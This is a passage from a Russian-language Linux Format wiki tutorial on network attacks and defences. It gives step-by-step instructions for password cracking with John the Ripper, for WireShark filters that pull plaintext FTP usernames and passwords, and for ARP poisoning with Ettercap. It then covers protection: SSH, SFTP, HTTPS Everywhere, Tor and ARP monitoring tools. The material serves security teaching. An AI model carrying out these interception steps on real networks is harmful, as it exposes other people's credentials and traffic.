Ес­ли у вас поя­ви­лось со­об­щение, что в фай­ле не об­на­ру­же­но хэ­шей, зна­чит, вы ис­поль­зуе­те ста­рую вер­сию John The Ripper, и вам нуж­но взять с сай­та но­вую. Про­грам­ма по­пы­та­ет­ся взло­мать все па­ро­ли в сис­те­ме, и вы мо­же­те про­ве­рить, легко ли подо­б­рать па­роль поль­зо­ва­те­ля. Ес­ли ваш па­роль доста­точ­но сло­жен, эта ко­ман­да никогда не пре­кра­тит ра­бо­ту; она бу­дет пы­тать­ся по­доб­рать па­роль дня­ми, но­ча­ми, неде­ля­ми и да­же го­да­ми, по­ка не най­дет; или, на­жав Ctrl+C, вы пре­кра­ти­те ее ра­бо­ту. Эта ути­ли­та – для web-раз­ра­бот­чи­ков, и вам по­тре­бу­ет­ся неко­то­рое знание HTTP, HTML и SQL, что­бы за­кон­чить уп­ражнения.

[править] Ата­ка се­ти

Когда вы храните ин­фор­ма­цию на ин­фор­ма­цию на ком­пь­ю­те­ре, вы мо­же­те ею управ­лять, уста­нав­ли­вать пра­ва досту­па и за­пи­сы­вать, ка­кой имен­но поль­зо­ва­тель про­из­вел из­менение дан­ных. Од­на­ко как толь­ко ин­фор­ма­ция по­ки­да­ет ком­пь­ю­тер и пу­те­ше­ст­ву­ет по се­ти, вы те­ряе­те этот кон­троль.


Се­ти – это от­кры­тые сис­те­мы; ком­пь­ю­те­ры мо­гут к ним под­клю­чать­ся и от­клю­чать­ся от них, и основ­ные се­те­вые про­то­ко­лы в сво­ем ди­зайне по­ста­ви­ли про­сто­ту пре­вы­ше безо­пас­но­сти. Взлом­щик мо­жет ис­поль­зо­вать эту сла­бую сто­ро­ну, что­бы на­дер­гать дан­ных и да­же управ­лять тем, что вы по­сы­лае­те и по­лу­чае­те. Про­стей­ший спо­соб это сде­лать – про­слу­ши­вать дан­ные, ко­то­рые пе­ре­ме­ща­ют­ся по се­ти. Од­на из са­мых универ­саль­ных ути­лит для ана­ли­за се­те­во­го тра­фи­ка [sniffer] – WireShark. По­сле уста­нов­ки (ли­бо че­рез менед­жер па­ке­тов ва­ше­го ди­ст­ри­бу­ти­ва, ли­бо взяв фай­лы с www.wireshark.org), ее мож­но за­пустить коман­дой

sudo wireshark

Щелкните по Pseudo-device, ко­то­рый пе­ре­хва­ты­ва­ет все ин­тер­фей­сы, что­бы на­чать по­лу­чение па­ке­тов из се­ти (вклю­чая те, что по­сы­ла­ют­ся ком­пь­ю­те­ром, где за­пу­ще­на про­грам­ма). Ес­ли хоть что-то по­сы­ла­ет дан­ные, вы уви­ди­те це­лый по­ток ин­фор­ма­ции о па­ке­тах. Что­бы вы­де­лить нуж­ную вам ин­фор­ма­цию, на­строй­те фильтр. На­при­мер, фильтр

http.request.uri

ото­бра­зит все па­ке­ты с ин­фор­ма­ци­ей об HTTP-за­про­сах, а

ftp.request.command contains “USER”

или

ftp.request.command contains “PASS”

вы­бе­рет все име­на поль­зо­ва­те­лей и па­ро­лей для FTP. По­сколь­ку про­то­кол FTP по­сы­ла­ет эту ин­фор­ма­цию неза­шиф­ро­ван­ной, вы мо­же­те про­сто счи­тать де­та­ли вхо­да из столб­ца Info. Что­бы ис­пы­тать это, мож­но про­сто под­клю­чить­ся к FTP-сер­ве­ру, или ска­чать проб­ный пе­ре­хват iseries.cap из wiki.wireshark.org/SampleCaptures.

Од­на­ко, в за­ви­си­мо­сти от на­стро­ек се­ти, вы мо­же­те об­на­ру­жить, что про­слу­ши­вать вам осо­бен­но нече­го. Де­ло в том, что боль­шин­ст­во со­вре­мен­ных се­те­вых кон­цен­тра­то­ров яв­ля­ют­ся ком­му­та­то­ра­ми, то есть по­сы­ла­ют дан­ные толь­ко то­му ком­пь­ю­те­ру, ко­то­ро­му эти дан­ные ад­ре­со­ва­ны. Что­бы обой­ти это, взлом­щик мо­жет об­ду­рить про­то­кол раз­ре­шения ад­ре­сов (Address Resolution Protocol, ARP). Все про­чие ком­пь­ю­те­ры в се­ти бу­дут на­ив­но по­сы­лать свою ин­фор­ма­цию взлом­щи­ку, а тот за­тем пе­ре­на­пра­вит ее ис­тин­но­му ад­ре­са­ту. Это мож­но про­тес­ти­ро­вать на ва­шей се­ти (или той се­ти, где у вас есть раз­ре­шение на ата­ку) с по­мо­щью Ettercap-NG (ettercap.sourceforge.net).

За­пусти­те гра­фи­че­­ский ин­тер­фейс, вве­дя

sudo ettercap -G

За­тем пе­рей­ди­те к Sniff > Unified sniffing и вы­бе­ри­те се­те­вой ин­тер­фейс. Для успешного от­ра­вления [poisoning] таб­ли­ц ARP вам нуж­но знать, ка­кие ком­пь­ю­те­ры при­сут­ст­ву­ют в се­ти, так что зай­ди­те в Hosts > Scan For Hosts. Что­бы на­чать ата­ку, на­жми­те MITM > ARP Poisoning, а за­тем OK. Сей­час все под­го­тов­ле­но; пе­рей­ди­те в Start > Start Sniffing. По­сле за­пуска иди­те в Hosts > Host List и вы­де­ли­те ка­ж­дую жерт­ву. На­жми­те Add to Target 1.

Мо­же­те за­пускать arp на ма­ши­нах-жерт­вах. Ес­ли от­рав­ление ARP сра­бо­та­ло, все IP-ад­ре­са бу­дут ука­зы­вать на один и тот же MAC-ад­рес.

Сей­час вы долж­ны об­на­ру­жить, что че­рез WireShark про­хо­дит боль­ше ин­фор­ма­ции. Вы мо­же­те да­же ис­поль­зо­вать Ettercap, что­бы управ­лять се­тью. На­при­мер, зай­дя в View > Connections, вы уви­ди­те все TCP- и UDP-со­единения в се­ти. Вы мо­же­те ра­зо­рвать лю­бое из них, вы­де­лив его и на­жав Kill Connection.

[править] Безо­пас­ные про­то­ко­лы

Что­бы за­щи­тить се­бя при со­единении по се­ти, по­за­боть­тесь об ис­поль­зо­вании безо­пас­ных про­то­ко­лов. На­при­мер, ис­поль­зуй­те SSH вме­сто Telnet (флаг -2 га­ран­ти­ру­ет, что ис­поль­зу­ет­ся вер­сия 2 про­то­ко­ла SSH) и SFTP вме­сто FTP. Когда де­ло дой­дет до об­зо­ра Ин­тернета, вы бу­де­те ог­раниче­ны той за­щи­щен­но­стью, что пред­ла­га­ет web-сер­вер. Не­ко­то­рые сай­ты доступ­ны по за­щи­щен­но­му про­то­ко­лу HTTPS, тогда как дру­гие доступ­ны по про­сто­му HTTP. Что­бы по­мочь вам дер­жать об­зор се­ти вда­ли от лю­бо­пыт­ных глаз, Electronic Frontier Foundation вы­пустил мо­дуль рас­ши­рения для Firefox под на­званием HTTPS Everywhere (www.eff.org/https-everywhere). Он не по­вы­ша­ет уро­вень за­щи­щен­но­сти до уров­ня HTTPS, но за­то вы­ну­ж­да­ет ис­поль­зо­вать безо­пас­ный про­то­кол, ес­ли сайт его под­дер­жи­ва­ет.

Та­кие фор­мы шиф­ро­вания не по­зво­лят про­слу­ши­ваю­ще­му счи­тать ка­кие-ли­бо ва­ши дан­ные, но мо­гут под­ска­зать ему, ка­кие ком­пь­ю­те­ры со­единены друг с дру­гом. Ес­ли ис­поль­зо­вать Tor (www.torproject.org), то мож­но по­ме­шать взлом­щи­ку за­вла­деть и этой ин­фор­ма­ци­ей. Про­стей­ший спо­соб – взять та­мошний Browser Bundle. Что­бы сде­лать об­зор Ин­тернета аноним­ным, про­сто ска­чай­те, рас­па­куй­те и за­пусти­те start_tor_browser. При этом вы под­клю­чи­тесь к се­ти Tor (это на­бор под­став­ных сер­ве­ров, раз­бро­сан­ных по все­му све­ту), за­тем от­крое­те web-брау­зер. При вхо­де в Ин­тернет че­рез эту про­грам­му дан­ные бу­дут безо­пас­но пе­ре­та­со­ва­ны по це­лой це­поч­ке ком­пь­ю­те­ров, и лю­бо­му про­слу­ши­ваю­ще­му бу­дет невоз­мож­но по­нять, ка­кие сай­ты вы по­се­щае­те.

Вдо­ба­вок к web-брау­зе­рам, usewithtor по­зво­ля­ет и дру­гим про­грам­мам взаи­мо­дей­ст­во­вать по се­ти Tor. Под­роб­но­сти то­го, ка­кие про­грам­мы бу­дут ра­бо­тать с этой сис­те­мой – на сай­те Tor (https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO). За­щи­тить се­бя от ARP-«на­ду­ва­тель­ст­ва» [spoofing, подмена MAC-адреса] мож­но несколь­ким раз­ны­ми спо­со­ба­ми. Ес­ли за­пустить arpwatch или arpalert, то все по­доз­ри­тель­ные слу­чаи бу­дут от­ра­же­ны в сис­тем­ных жур­на­лах, тогда как ArpON по­пы­та­ет­ся ос­та­но­вить ата­ку.

Источник — «http://wiki.linuxformat.ru/wiki/index.php?title=LXF154:%D0%98%D0%B7%D1%83%D1%87%D0%B8%D1%82%D0%B5_%D0%B2%D0%B7%D0%BB%D0%BE%D0%BC&oldid=16346»
Персональные инструменты
купить
подписаться
Яндекс.Метрика